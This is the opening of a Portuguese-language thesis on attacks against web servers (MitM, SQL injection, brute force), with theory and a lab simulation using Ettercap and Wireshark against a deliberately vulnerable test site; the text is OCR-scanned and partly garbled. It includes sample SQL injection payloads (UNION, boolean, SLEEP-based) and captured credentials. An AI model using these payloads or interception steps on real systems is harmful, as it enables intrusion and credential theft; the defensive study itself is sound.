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RESUMO

Este trabalho explora a natureza e a execucéo de ataques cibernéticos preva-
lentes contra servidores web, com foco nos ataques Man-in-the-Middle (MitM), SQL
injection e de forca bruta. O ataque MitM envolve a interceptacdo e manipulacdo da
comunicacdo entre duas partes, permitindo que o invasor altere ou capture dados
sensiveis. O SQL injection possibilita que atacantes manipulem consultas SQL, dando
acesso a informacdes confidenciais ndo autorizadas, enquanto os ataques de forca
bruta tentam adivinhar credenciais por meio de tentativas repetitivas. A pesquisa adota
uma metodologia que combina revisdo bibliografica com experimentos praticos, utili-
zando ferramentas como Ettercap, SQLMap e Hydra para identificar vulnerabilidades
em servidores web e testar a eficacia das defesas implementadas. Além da analise
dos ataques, o trabalho também apresenta uma demonstracao préatica de defesa, in-
cluindo a implementacdo de um site seguro com a validagdo de entradas, utilizagéao
do protocolo HTTPS e autenticacao segura. Essas defesas sdo implementadas e tes-
tadas com o objetivo de proteger dados em transito, prevenir acessos hao autorizados
e mitigar os ataques simulados, oferecendo uma protecéo eficaz contra as ameacas
cibernéticas. A seguranca do site € avaliada com base na resisténcia as ameacas
identificadas, destacando a importancia de praticas de seguranca adequadas, como
0 uso de criptografia para garantir a confidencialidade das informacdes. Os resultados
indicam que a combinacao dessas medidas € altamente eficaz na protecéo de servi-
dores web, reforcando a seguranca geral do sistema e oferecendo uma defesa sélida
contra as vulnerabilidades exploradas. Conclui-se que a aplicacdo de defesas robus-
tas é essencial para garantir a integridade, a confiabilidade e a protecdo continua dos

sistemas.

Palavras-chave: Ataques Cibernéticos; Servidores Web; Man-in-the-Middle; SQL In-

jection; Forca Bruta; Criptografia.



ABSTRACT

This work explores the nature and execution of prevalent cyberattacks against
web servers, focusing on Man-in-the-Middle (MitM) attacks, SQL injection, and brute-
force attacks. The MitM attack involves intercepting and manipulating communication
between two parties, allowing the attacker to alter or capture sensitive data. SQL in-
jection enables attackers to manipulate SQL queries, gaining unauthorized access to
confidential information, while brute force attacks attempt to guess credentials through
repetitive trial and error. The research adopts a methodology that combines bibliogra-
phic review with practical experiments, using tools such as Ettercap, SQLMap, and
Hydra to identify vulnerabilities in web servers and test the effectiveness of implemen-
ted defenses. In addition to the analysis of attacks, the work also presents a practical
defense demonstration, including the implementation of a secure website with input
validation, the use of the HTTPS protocol, and secure authentication. These defenses
are implemented and tested with the goal of protecting data in transit, preventing
unauthorized access, and mitigating simulated attacks, providing effective protection
against cyber threats. The website's security is assessed based on its resistance to
identified threats, highlighting the importance of adequate security practices, such as
the use of encryption to ensure information confidentiality. The results indicate that the
combination of these measures is highly effective in protecting web servers, strengthe-
ning the overall security of the system, and offering solid defense against the exploited
vulnerabilities. It is concluded that the application of robust defenses is essential to

ensure the integrity, reliability, and continuous protection of systems.

Keywords: Cyber Attacks; Web Servers; Man-in-the-Middle; SQL Injection; Brute
Force; Cryptography.
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1 INTRODUCAO

No cenario atual da tecnologia da informacéo, a seguranca cibernética emergiu
como uma prioridade critica para organiza¢des de todos os tamanhos. A proliferacédo
de ataques cibernéticos sofisticados, direcionados a servidores web, expés a vulnera-
bilidade dos sistemas digitais e a necessidade urgente de desenvolver e implementar
medidas de seguranca eficazes.

Uma vulnerabilidade é definida como uma condic&o que, quando explorada por
um atacante, pode resultar em uma violagéo de seguranca. Exemplos de vulnerabili-
dades incluem falhas no projeto, na implementacéo ou na configuragdo de programas,
servicos ou equipamentos de rede. A exploracéo dessas vulnerabilidades por atacan-
tes permite a execucédo de agbes maliciosas, como invasdo de sistemas, acesso a
informacdes confidenciais, langamento de ataques contra outros computadores ou até
mesmo a interrupcao de servigos (CERT.br, 2012).

As ameacas a seguranca na Web podem ser classificadas em ataques passi-
VoS e ativos. Ataques passivos envolvem a interceptacdo de trafego sem alterar os
dados, enquanto ataques ativos podem incluir a modificacédo de informacdes em tran-
sito ou a simulacao de usuarios legitimos. Além disso, as ameacas podem ser seg-
mentadas por alvo, como servidores Web, navegadores e o trafego de rede entre eles
(Stallings, 2008).

Um exemplo notavel de ataque cibernético é o caso do site de comércio eletro-
nico Netshoes que, em 2018, sofreu um vazamento de dados que afetou quase dois
milhdes de clientes. O incidente expbs informac¢des pessoais, como nome, CPF, e-
mail, data de nascimento e historico de compras dos clientes. Consequentemente, a
Netshoes foi condenada a pagar R$ 500 mil em indenizacdo por danos morais. Em-
bora dados sensiveis, como informacdes de cartbes de credito ou senhas, ndo tenham
sido comprometidos, o vazamento deixou os clientes suscetiveis a diversas formas de
fraude, ressaltando a importancia de implementar medidas eficazes de seguranca ci-
bernética (Stefanello, 2023).

Diante disso, um aspecto crucial na seguranca de um site € o uso de protocolos
de comunicacgéo seguros. O Hypertext Transfer Protocol (HTTP) € um protocolo res-
ponsavel por enviar informacdes variadas, como textos e midias, entre clientes e ser-

vidores. Esse processo se baseia em um modelo de requisicao e resposta: o cliente
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inicia a comunicagao, envia uma solicitagcdo ao servidor e aguarda sua resposta (Ber-
ners-Lee et al., 1996). Contudo, o HTTP néo oferece criptografia, tornando as comu-
nicacdes vulneraveis a uma variedade de ataques cibernéticos. Entre os atagues mais
comuns que exploram vulnerabilidades do HTTP estdo SQL injection, Man-in-the-Mid-
dle (MitM) e ataques de forca bruta. Esses tipos de ataques podem comprometer a
integridade, confidencialidade e disponibilidade dos dados transmitidos, destacando a
importancia de adotar medidas de seguranca robustas, como a transicdo para o pro-
tocolo HTTPS, que oferece uma camada adicional de protecéo por meio da criptogra-
fia (CERT.br, 2012).

1.1 Justificativa

O estudo do tema em questéo € relevante, pois compreender as vulnerabilida-
des associadas ao HTTP e implementar medidas de seguranca eficazes sao passos
cruciais para proteger os servidores web e garantir a integridade, confidencialidade e
disponibilidade das informac@es transmitidas (Stallings, 2008).

De acordo com a Cartilha de Seguranca para Internet (CERT.br, 2012), usua-
ros e sistemas estdo expostos a diversos riscos, como furto de dados, invasédo de
privacidade e exploragéo de vulnerabilidades. A cartilha alerta que muitos acreditam
estar a salvo de ataques, mas, na realidade, criminosos realizam varreduras para
identificar falhas em sistemas conectados a Internet, incluindo servidores web. Essa
falsa sensacao de seguranca € um dos maiores desafios na protecdo contra ataques
cibernéticos.

Com a crescente sofisticacdo dos ataques cibernéticos e a dependéncia cada
vez maior de sistemas digitais, torna-se imprescindivel o desenvolvimento continuo
de estratégias de seguranca robustas e adaptaveis as novas ameacas.

Diante deste contexto, este trabalho visa responder a seguinte questdo: Como

identificar vulnerabilidades e mitigar os ataques cibernéticos em servidores web?
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1.2 Objetivos

1.2.1 Objetivo geral

O objetivo geral deste trabalho é analisar detalhadamente as vulnerabilidades
de seguranca associadas aos servidores web, com énfase nos protocolos de comuni-
cacao HTTP e HTTPS, e investigar estratégias de criptografia e outras medidas de
seguranca eficazes para mitigar os riscos de ataques cibernéticos, como SQL injec-
tion, Man-in-the-Middle (MitM) e ataques de forca bruta.

1.2.2 Objetivos especificos

. Analisar o funcionamento dos protocolos HTTP e HTTPS, destacando suas di-
ferencas e implicagOes para a seguranca.

o Identificar e descrever as principais vulnerabilidades de seguranca presentes
em servidores web.

. Detalhar e simular os métodos de ataque cibernético Man-in-the-Middle (MitM),
SQL injection e ataques de forca bruta.

o Fornecer diretrizes de seguranca cibernética destinadas a reduzir os riscos ine-
rentes aos tipos de ataques cibernéticos investigados, destacando medidas
preventivas e estratégias de resposta eficazes.

o Desenvolver e implementar um site de login simples, aplicando as medidas de
seguranca propostas, com o objetivo de demonstrar, na pratica, a eficacia das

solucBes sugeridas na protecao contra os ataques abordados.

1.3 Procedimentos metodoldgicos

Conforme sua natureza, esta pesquisa apresenta-se como uma sintese que
visa explanar a area de conhecimento abordada no projeto e ressaltar sua evolucéo
ao longo do tempo. Por meio da analise das informacdes coletadas, procura-se com-
preender as causas e fatores explicativos relacionados ao tema estudado
(WAZLAWICK, 2014).

Quanto aos seus objetivos, trata-se de uma pesquisa exploratéria e descritiva.

A abordagem exploratoria busca examinar fenébmenos especificos com a finalidade
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de identificar possiveis anomalias que possam servir de base para estudos mais de-
talhados e aprofundados. Ja a pesquisa descritiva tem como propésito coletar dados
mais soélidos sobre uma determinada realidade, frequentemente por meio de levanta-
mentos de informacbes (WAZLAWICK, 2014).

Com relagdo aos procedimentos técnicos, esta pesquisa é caracterizada como
bibliogréfica e experimental. A pesquisa bibliogréfica envolve a consulta e andlise de
diferentes fontes, incluindo artigos e dissertacbes académicas. Por sua vez, a pes-
quisa experimental distingue-se pela manipulacdo de uma ou mais variaveis experi-

mentais, permitindo ao pesquisador observar seus efeitos (WAZLAWICK, 2014).

1.4 Estrutura da monografia

O texto dessa monografia estd organizado em 6 capitulos. No capitulo 1 é abor-
dado a importancia da seguranca cibernética no contexto atual da tecnologia da infor-
macao, destacando a vulnerabilidade dos sistemas digitais diante de ataques sofisti-
cados. O capitulo 2 abrange o embasamento tedrico do trabalho, contendo conceitos
e definicdes a respeito dos protocolos HTTP e HTTPS, e dos ataques cibernéticos
Man-in-the-Middle (MitM), SQL injection e forca bruta. No capitulo 3 sdo apresentadas
simulac¢des dos ataques investigados, demonstrando o funcionamento e expondo vul-
nerabilidades. No capitulo 4 sdo mostradas estratégias de mitigacdo para cada um
dos ataques simulados no capitulo anterior. No capitulo 5, é apresentada uma imple-
mentacado de um sistema de login seguro, demonstrando a defesa contra os ataques
discutidos ao longo do trabalho. Por fim, no capitulo 6, sdo apresentadas as conside-

racoes finais, destacando a relevancia dos resultados obtidos.
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2 REFERENCIAL TEORICO

Este capitulo visa fornecer uma base tedrica solida sobre os principais protoco-
los de comunicacéao utilizados na web, como o HTTP e o HTTPS, além de explorar
vulnerabilidades comuns que afetam servidores web e sistemas de autenticacédo. A
compreensao profunda desses protocolos e suas fraquezas é essencial para a imple-
mentacdo de medidas de seguranca adequadas, especialmente para proteger contra
ataques cibernéticos, como SQL injection, Man-in-the-Middle (MitM) e ataques de
forca bruta. A seguir, sdo apresentados os tépicos fundamentais para entender os
conceitos de seguranca em servidores web, que servirdo de embasamento para as

analises e solucfes propostas neste trabalho.

2.1 Protocolo HTTP

O HTTP, ou Hypertext Transfer Protocol, € um protocolo de comunicacao que
permite a transferéncia de dados na web. E um protocolo baseado em texto e sem
estado, o que significa que cada solicitacdo do cliente ao servidor é independente das
anteriores (Kurose; Ross, 2014).

2.1.1 Funcionamento do HTTP

O funcionamento do HTTP pode ser descrito em termos de requisicoes e res-

postas (Figura 1):

¢ Requisicdes HTTP: Enviadas pelo cliente (geralmente um navegador web) ao
servidor. Uma requisi¢cdo HTTP tipica inclui um método (como GET ou POST),
um URI (Uniform Resource ldentifier), a verséo do protocolo e cabecalhos adi-
cionais (Kurose; Ross, 2014).

e Respostas HTTP: Enviadas pelo servidor em resposta a requisi¢céo do cliente.
Uma resposta HTTP inclui um cédigo de status (indicando sucesso, redirecio-
namento ou erro), a versao do protocolo, cabecalhos e o corpo da mensagem
contendo os dados solicitados (Kurose; Ross, 2014).
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Figura 1: Transacdo HTTP

. Servidor
Cliente

=

m '

Solicitagio

Resposta

il

Fonte: Forouzan (2010)

Métodos HTTP

Os métodos HTTP definem a acéo que o cliente deseja que o servidor execute.

De acordo com Forouzan (2010), os métodos séo:

2.1.3

GET: Solicita um documento ao servidor.

HEAD: Solicita informacdo sobre um documento, mas ndo o documento em si.
POST: Envia informacdes do cliente para o servidor.

PUT: Envia um documento do servidor para o cliente.

TRACE: Ecoa uma solicitagdo que chega.

CONNECT: Reservado.

OPTION: Solicita detalhamento sobre opcdes disponiveis.

Vulnerabilidades do HTTP

O HTTP, por ser um protocolo de texto simples, é suscetivel a varias vulnera-

bilidades de seguranca. De acordo com Quora (2023), inclui:

Intercepgéo de dados: Dados trafegados em HTTP s&o transmitidos em texto
claro, permitindo que atacantes interceptem e leiam as informacdes.

Ataques Man-in-the-Middle (MitM): Atacantes podem interceptar e modificar as
comunicacdes entre cliente e servidor.

Falsificacdo de Requisicdo entre Sites (CSRF): Atacantes podem induzir um
usuario autenticado a executar agdes ndo desejadas em um site.
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e Ataques de Cross-Site Scripting (XSS): Neste tipo de ataque, um invasor injeta
codigo malicioso em um site, que pode roubar informacdes confidenciais do
navegador do usuario ou realizar agdes ndo autorizadas em nome do usuério.

2.2 Protocolo HTTPS

O HTTPS, ou Hypertext Transfer Protocol Secure, é uma extensdo do HTTP
gue adiciona uma camada de seguranca utilizando o protocolo TLS (Transport Layer

Security) (Kurosee; Ross, 2014).

2.2.1 Funcionamento do HTTPS

O HTTPS funciona da seguinte maneira (Figura 2):

e Estabelecimento de Conex&do Segura: Antes da troca de dados, cliente
e servidor realizam um handshake TLS para estabelecer uma conexao
segura. Durante esse processo, sao utilizados certificados digitais para
autenticacao e a negociacao de chaves de criptografia (Stallings, 2008).

e Transferéncia de Dados Criptografados: Apds o handshake, todos os
dados transmitidos sdo criptografados, garantindo confidencialidade e
integridade (Stallings, 2008).

Figura 2: Transagdo HTTPS

HTTPS
4q—- - - - = TCP Connection- — — — —
4- — — — — Publickey— — — - — —
- — = — — — SessionKey — — — — —
o=y qQ—— - - - Encrypted Data- — — — —

| Use Case :- Web Browsing @

Fonte: GeeksforGeeks (2024)
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2.2.2 TLS/SSL: Transport Layer Security e Secure Sockets Layer

De acordo com Stallings (2008), o SSL e seu sucessor, o TLS, sédo protocolos
gue proporcionam seguranca nas comunicacdes sobre redes de computadores. Eles
funcionam na camada de transporte e utilizam criptografia assimétrica para garantir
que apenas o destinatario pretendido possa decifrar a mensagem. O processo en-

volve:

Handshake SSL/TLS: Um processo inicial onde o cliente e o servidor concordam sobre
0s parametros de criptografia a serem usados. Inclui a autenticacdo do servidor e,

opcionalmente, a autenticacédo do cliente (Stallings, 2008).

Criptografia de Sesséo: Apds o handshake, uma chave de sessdo simétrica € criada
e usada para criptografar os dados trocados durante a sesséo. A criptografia simétrica

€ usada por ser mais eficiente em termos de desempenho (Stallings, 2008).

2.2.3 Vantagens do HTTPS

As principais vantagens do HTTPS incluem:

e Confidencialidade: Dados séao criptografados, protegendo-os contra intercepta-
cao (Stallings, 2008).

¢ Integridade: Garante que os dados ndo sejam alterados durante a transmisséo
(Stallings, 2008).

e Autenticacdo: Certificados digitais verificam a identidade do servidor, evitando
ataques de phishing e MitM (Stallings, 2008).

2.2.4 Certificados digitais

Certificados digitais sdo fundamentais para o funcionamento do HTTPS. Eles
sao emitidos por autoridades certificadoras (CAs) e contém a chave publica do servi-
dor, informagdes sobre a CA emissora e a assinatura digital da CA (Stallings, 2008).



19

2.2.5 Implementagdo do HTTPS

A implementacédo de HTTPS envolve:

e Obtencéo de um Certificado Digital: Adquirido de uma CA confiavel (Stallings,
2008).

e Configuracdo do Servidor: O servidor web deve ser configurado para utilizar o
certificado digital e suportar conexdes TLS (Stallings, 2008).

e Redirecionamento de Trafego: Configurar redirecionamento de todo o trafego
HTTP para HTTPS (Stallings, 2008).

2.2.6 Comparacéo entre HTTP e HTTPS

Figura 3: Diferengas Técnicas

Caracteristica HTTP HTTPS

Seguranga Mio seguro Seguro

Criptografia Mac TLS/SS5L

Porta Padrio 80 443
Utiliza certificad

Certificados Nao utilizados 11es cermeados
digiais

i . Dados em texto Dados
Confidencialidade ° N
claro criptografados

Protecdo contra

Integridade Sem garantias i
alteracies

Fonte: Autoria prépria (2024)
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2.3 Man-in-the-Middle (MitM)

O ataque Man-in-the-Middle (MitM) é um tipo de ataque cibernético em que um
terceiro malicioso assume o controle de uma comunicacdo confidencial entre duas
partes, permitindo que o atacante leia, modifique ou substitua o trafego de comunica-
¢ao entre as vitimas. Ao usar o protocolo MitM, o atacante pode permanecer invisivel
e sem deixar rastros de sua interceptacao. (Ahsan et al., 2019).

Segundo Ahsan et al., (2019), o ataque MitM ocorre em duas etapas: interceptacao
e decodificacdo. Na interceptacao, o atacante pode se aproveitar de redes Wi-Fi des-
protegidas ou comprometer o roteador para inserir suas ferramentas entre o disposi-
tivo da vitima e os sites visitados. Uma variacdo desse ataque é o Man-in-the-Browser
(MitB), que envolve a instalagdo silenciosa de malware no navegador da vitima para
capturar dados sensiveis. Na etapa de decodificacao, o atacante pode usar técnicas
como falsificacéo de certificados HTTPS, exploracao de vulnerabilidades SSL/TLS ou
sequestro de chaves de autenticacao para ler o trafego SSL sem ser detectado. Esses
ataques comprometem a seguranca da comunicacao online, permitindo ao atacante
capturar informacdes confidenciais, como credenciais de login e transacfes financei-
ras.

Por exemplo, em um ataque, a comunicacgao entre sistemas € interceptada durante
transac6es HTTP, manipulando a conexdao TCP entre cliente e servidor. O atacante
cria duas novas conexdes: uma entre cliente e atacante e outra entre atacante e ser-
vidor, mostrado na Figura 4. Agindo como um proxy, 0 atacante pode ler, inserir e
modificar dados na comunicacgédo interceptada. Isso € possivel devido a natureza AS-
Cll do protocolo HTTP, permitindo a visualizagéo e interferéncia nos dados transferi-
dos, como capturar cookies de sessao ou alterar transacdes monetarias. (OWASP,
2023).
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Figura 4: Pacote HTTP interceptado com Paros Proxy

Request | Respense | Trap |

POST htip:fljanaina:8180WebGoalattack?menu=410 HTTP# .1

Host janaina:8180

User-Agent Mozillafs.0 (Windows, U, Windows NT 5.2, en-US, nv.1.8.1 4) Gecko/20070515 Firefox/2.0.0.4 Paros/3.2.1

2

Accept: texthanl applicationtxmi, applicationfhtmi+xml textrhtm | a=0.9 textiplain;q=0 8 image/png,*~q=0 5
ccept-Language: en-us en;q=0.5
ccept-Charset 150-8859-1 utf-8;0=0.7 *,g=0.7

Keep-Alive: 300

FProxy-Connection: keep-alive

Referer. httoSanzina:81800VehGoallatlack?Screen=57 &menu=410

Cookle: JSESSIONID=B33154E70ABATS849F 1 DE3EC1183BB98

Authorlzation: Basic Z3VIc306Z3VIe30=

Content-Type: applicationf&=www-form-urlencoded

Content-Length: 81

OTY1=680TY2=680TY3=6&QTY4=68&Meld2=4128+3214+0002+1999&Meld1=111&SUBMIT=Purchase

|Raw View vl

Fonte: Owasp (2023)

Embora o ataque MITM também possa ocorrer em conexfes HTTPS, ele re-
quer o estabelecimento de duas sessdes SSL independentes. O navegador estabe-
lece uma conex&o SSL com o invasor e o invasor estabelece outra conexdo SSL com
o servidor web. O navegador pode alertar o usuario sobre a validade do certificado
digital, mas esse aviso pode ser ignorado. Em alguns casos, o invasor pode compro-
meter o certificado do servidor ou usar um certificado assinado por uma CA confiavel
(OWASP, 2023).

2.4 SQL injection

Um ataque de injecdo SQL envolve a insergéo ou "inje¢do" de consultas SQL atra-
vés dos dados de entrada fornecidos pelo cliente para a aplicagdo. Se bem-sucedida,
essa exploracéo pode permitir a leitura de dados confidenciais do banco de dados, a
modificacdo dos dados (insercao/atualizacao/exclusédo), a execucao de operacdes de
administracdo no banco de dados (como desligar o SGBD), a recuperacao de conte-
udo de arquivos especificos no sistema SGBD e, em alguns casos, a emissao de co-

mandos para o sistema operacional (OWASP, 2023).
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Na auséncia de medidas de protecao adequadas, a injecao de SQL pode expor o
aplicativo a um alto risco de comprometimento, afetando a confidencialidade e a inte-
gridade dos dados, além dos aspectos de autenticacdo e autorizacdo. Isso significa
gue um atacante pode acessar informacdes sensiveis armazenadas em bancos de
dados de programas ou aplicativos vulneraveis, como credenciais de usuario, segre-
dos comerciais ou registros de transagdes (Packetlabs, 2023).

Existem diferentes maneiras de explorar a injecdo de SQL. Os trés tipos mais co-
muns de injecdo de SQL sao: baseadas em Union, baseadas em Erro e injecéo de
SQL Blind.

2.4.1 Injecao de SQL baseada em Union

Este método, ilustrado na Figura 5, utiliza a palavra-chave “union” para combi-
nar os resultados da consulta original com os resultados de consultas maliciosas inje-

tadas em uma Unica resposta HTTP. (Daityari, 2023).

Figura 5: Injecdo de SQL baseada em Union

zelect title, link from post_table
where id < 18
union

select username, password
from user table; --;

Fonte: Kinsta (2023)

2.4.2 Injecao de SQL baseada em Erro

Esta técnica é geralmente facil de explorar, pois fornece mensagens de erro
detalhadas quando uma consulta SQL falha, como por exemplo, devido a erros de
sintaxe. Um invasor pode usar essas informacdes para descobrir a consulta exata
executada pelo servidor SQL e criar solicitacdes maliciosas. Dependendo das confi-
guracdes do banco de dados, isso pode ser usado para inserir ou modificar dados,
além de recuperar informacdes (Packetlabs, 2023). Por exemplo, um invasor pode

inserir ‘OR ‘“1’="1 em um campo de formulario. Se o aplicativo for vulneravel, ele podera
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retornar uma mensagem de erro que revela informacdes sobre o banco de dados
(Daityari, 2023).

2.4.3 Injecao de SQL Blind

Esse tipo de vulnerabilidade requer que o invasor utilize técnicas indiretas,
como consultas baseadas em booleanos ou baseadas em tempo, para extrair infor-
mac0des do banco de dados através de uma série de declaracdes ldgicas complexas
(Packetlabs, 2023).

No ataque booleano de injecdo SQL, um invasor manipula as entradas do usu-

ario para tentar duas versodes diferentes de uma clausula booleana na consulta SQL:

"..e1=1"

"...e1=2"

Essas consultas sdo projetadas para gerar uma pagina carregada normalmente
se a condicao for verdadeira e uma pagina diferente ou com erro se for falsa. Ao ana-
lisar como a péagina € carregada, o invasor pode determinar o sucesso da manipula-
cao, extraindo lentamente informag¢des do banco de dados sem ver a consulta real ou
a resposta do banco de dados (Daityari, 2023).

No ataque de injecdo SQL baseado em tempo, um invasor tenta determinar se
h& uma vulnerabilidade em um aplicativo web usando uma funcéo de espera do sis-
tema de gerenciamento de banco de dados, como o0 MySQL's sleep(), como visto na
Figura 6. Se essa consulta resultar em atraso, o invasor sabe que o aplicativo é vul-

neravel. (Daityari, 2023).

Figura 6: Injecdo de SQL baseada em tempo

* from comments

post id=1-SLEEP(15);

Fonte: Kinsta (2023)
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De acordo com Eco Trust, (2023), é possivel identificar vulnerabilidades de SQL
Injection através de scanners de vulnerabilidades, porém pode-se detectar manual-
mente por meio de testes em cada ponto de entrada da aplicacdo, como:

e Enviar um caractere de aspas simples (') e procurar por erros ou comportamen-
tos andmalos.

e Inserir sintaxes especificas de SQL injection e comparar as respostas da apli-
cacao para valores diferentes.

e Utilizar condi¢des booleanas, como OU 1=1 e OU 1=2, e observar diferencas
nas respostas.

e Enviar cargas projetadas para causar atrasos de tempo na execucao de uma
consulta SQL e medir a variacao no tempo de resposta.

e Utilizar cargas OAST para provocar interacdes de rede fora de banda e moni-

torar quaisquer respostas resultantes.

2.5 Forca bruta

Um ataque de forca bruta, envolve tentar adivinhar um nome de usuério e uma
senha por meio de repetidas tentativas e erros. Esse método permite que o atacante
consiga acessar sites, computadores e servi¢os, executando processos com as mes-
mas permissfes do usuario legitimo (CERT.br, 2012).

Qualquer dispositivo, rede ou servi¢co acessivel via Internet que utilize autenti-
cacdo por nome de usuario e senha pode ser vulneravel a ataques de forca bruta.
Dispositivos méveis, mesmo protegidos por senha, podem ser comprometidos tanto
por ataques remotos quanto por acesso fisico direto, caso o invasor tenha acesso ao
dispositivo (CERT.br, 2012).

Ha uma variedade de métodos de ataque de forca bruta que capacitam invaso-
res a acessar sistemas de forma ndo autorizada e roubar dados de usuarios, vistos

na Figura 7.
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Figura 7: 5 tipos de ataques de forca bruta

5 Types of Brute Force Attacks
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Simple Brute Dictionary Hybrid Brute Reverse Brute Credential
Force Attacks Attacks Force Attacks Force Attacks Stuffing

Fonte: Fortinet (2023)

De acordo com CERT.br (2012), essas sdo acdes maliciosas que podem ser
efetuadas quando o invasor tem acesso ao usuario e a senha da vitima:

e Alterar sua senha, dificultando seu acesso futuro ao site ou computador com-
prometido;

e Invadir seu servico de e-mail, permitindo o acesso ao conteudo de suas men-
sagens e a sua lista de contatos, além de enviar mensagens em seu home,

e Acessar suas redes sociais e enviar mensagens para seus seguidores con-
tendo cddigos maliciosos ou alterar suas configuracfes de privacidade;

e Invadir seu computador e, conforme as permissdes do seu usuario, executar
acOes como apagar arquivos, obter informacdes confidenciais e instalar codi-

gos maliciosos.
2.5.1 Ataques de forca bruta simples
O invasor tenta manualmente adivinhar credenciais de login, explorando se-

nhas fracas ou comuns, como "senhal23" ou "1234". Esses ataques sao facilitados

pelo uso generalizado de senhas simples e previsiveis (FORTINET, 2023).
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2.5.2 Ataques de dicionério

Utilizam listas de palavras comuns e variam caracteres e numeros, testando
essas combinacgdes contra nomes de usuario para encontrar a senha correta. O nome
"ataques de dicionario" vem do uso de listas de palavras comuns, que sao testadas
sistematicamente (FORTINET, 2023).

2.5.3 Ataques de forca bruta hibrida

Combinam ataques de dicionario com forca bruta simples, tentando variacfes
de palavras comuns e nameros para descobrir senhas como "SanDiegol123". Essa
abordagem aumenta a eficacia ao misturar palavras comuns com nimeros e caracte-
res (FORTINET, 2023).

2.5.4 Ataques de forca bruta reversa

Comecgam com uma senha conhecida, frequentemente obtida de uma violagao
de dados, e tentam encontrar o nome de usuario correspondente a essa senha em
um grande banco de dados. Essa técnica pode ser usada para explorar senhas co-
muns, como "Senhal23", contra muitos nomes de usuario diferentes (FORTINET,
2023).

2.5.5 Preenchimento de credenciais

Aproveitam-se de credenciais roubadas testando-as em mudltiplos sites, explo-
rando o habito dos usuarios de reutilizarem senhas. Se uma combinacéo de nome de
usuario e senha for reutilizada em varios sites, um ataque bem-sucedido pode com-
prometer multiplas contas (FORTINET, 2023).
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3 SIMULACOES DOS ATAQUES CIBERNETICOS

Este capitulo tem como objetivo realizar simulacdes praticas de trés ataques
cibernéticos amplamente conhecidos: Man-in-the-Middle (MitM), SQL injection e ata-
ques de forca bruta. Através dessas simulagfes, sera possivel observar o funciona-
mento de cada ataque em um ambiente controlado, identificando suas consequéncias
e as falhas de seguranca que podem ser exploradas. A analise pratica desses ataques
contribui para a compreensédo de suas dinamicas e permite a proposi¢cao de estratée-
gias de mitigagdo mais eficazes, evidenciando a importancia de medidas preventivas

para proteger sistemas contra tais ameagas.

3.1 Simulacdo Man-in-the-Middle (MitM)

A seguir, serd realizada uma simulacdo de ataque Man-in-the-Middle (MitM)
utilizando as ferramentas Ettercap, Wireshark, e o site Acunetix Art.
Ettercap: E uma ferramenta de andlise de protocolos e interceptacdo de rede de co-
digo aberto que suporta ativos de interceptacao e atagues Man-in-the-Middle. O Et-
tercap (Figura 8), € compativel com sistemas operacionais baseados em Linux como
0 Debian/Ubuntu, Fedora, FreeBSD e macOS (Controle Net, 2023).

Figura 8: Ferramenta Ettercap

= Q = Ette rcap 3 @ = £ o x

57 ports monitored
28230 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!
Starting Unified sniffing... I

Fonte: Ettercap (2024)
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Wireshark: é uma ferramenta de analise de pacotes e sniffer de rede. O Wireshark
(Figura 9), captura o trafego de rede na rede local e armazena esses dados para ana-
lise off-line (Buckbee, 2022).

Figura 9: Ferramenta Wireshark

File Edit View Go Capture Analyze Statistics Telephony Wireless

ADAO cBB@ 2« >0«>MWEocom

_using this filter: [A]
eth0

Loopback: lo
bluetooth-monitor

nflog
nfqueue

] codump
© DisplayPort AU monitor capture: dpauxmon
© Random packet F: randpkt

User's Guide - Wiki stions and Answers - Mailing Lists - SharkFest - Wireshark Discord - Donate
You are running Wireshark 4.0.3 (Git v4.0.3 packaged as 4.0.3-1).

pture Profile: Default

Fonte: Bladimir Pelaez (2024)

Acunetix Art: E uma aplicacdo web de exemplo desenvolvida em PHP intencional-

mente vulneravel, utilizada para fins educacionais e de simulacéo de ataques.

3.1.1 Tentativa de login no servidor alvo

Na Figura 10, um usuario tenta fazer login na pagina “testphp.vulnweb.com/lo-
gin.php” usando o nome de usuério “administrator” e a senha “senhal23$”. Esta ten-

tativa de login é parte do processo de captura de credenciais.
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Figura 10: Tentativa de login

Acunetix Web Vulnerability Scanner

home | categories artists = disclaimer @ yourcart guestbook @ AJAX Demo
search art If you are already registered please enter your login information below:

l | [g0]

Browse categories Username : |administrator

l
Browse artists Password ; |seseesess !
Your cart | |

logio
Signup R
Your profile You can also signup here.
Signup disabled. Please use the username test and the password test.
Our guestbook

AJAX Demo

Fonte: Acunetix Art (2024)

3.1.2 Configuracao e execucao do Ettercap

Na Figura 11, a interface grafica do Ettercap é usada para iniciar o ataque MitM
na rede. O Ettercap captura o trafego de rede entre a vitima e o servidor. O log do
Ettercap mostra que ele interceptou a tentativa de login, exibindo o nome de usuério

“administrator” e a senha “senha123%".

Figura 11: Execucéo do Ettercap

3 Etterca =
m Q| B 0531 (EB) D) ® = @ © @

2182 known services
Lua: no scripts were specified, not starting up!
Starting Unified sniffing...

HTTP : 44.228.249.3:80 -> USER: administrator PASS: senha123$ INFO: http://testphp.vulnweb.com/login.php
CONTENT: uname=administrator&pass=senha123%24

Fonte: Ettercap (2024)
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3.1.3 Anélise de trafego com o Wireshark

Na Figura 12, o Wireshark € usado para analisar o trafego de rede capturado
pelo Ettercap. A imagem mostra o pacote HTTP POST contendo as credenciais de
login enviadas para “userinfo.php”. Os campos “uname” e “pass” contém o nome de

usuario “administrator” e a senha “senha123$”, respectivamente.

Figura 12: Andlise de trafego com o Wireshark

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

BAODIRE A IV~ EQQAQIE

(" [heeel XISIL)
Packet bytes ~ Narrow & Wide v Case sensitive String ~ | |luname Find | Cancel

Source Destination Protocol Info

192.168.0.103 185.125.190.17 HTTP GET / HTTP/1.1

185.125.190.17 192.168.0.103 HTTP HTTP/1.1 204 No Content
2804:3d90:8005:e401.. 2620:2d:4000:1::97 HTTP GET / HTTP/1.1
2620:2d:4000:1::97 2804:3d90:8005:e401.. HTTP HTTP/1.1 204 No Content

192.168.0.103 44.228.249.3 HTTP GET /login.php HTTP/1.1
44.,228.249.3 192.168.0.103 HTTP HTTP/1.1 200 OK (text/html)
44.228.249.3 POST /userinfo.php HTTP/1.1 (application/x-www-form-url]
44.228.249.3 192.168.0.103 HTTP HTTP/1.1 302 Found (text/html)
192.168.0.103 44.228.249.3 HTTP GET /login.php HTTP/1.1
44.,228.249.3 192.168.0.103 HTTP HTTP/1.1 200 OK (text/html)
192.168.0.103 185.125.190.49 HTTP GET / HTTP/1.1

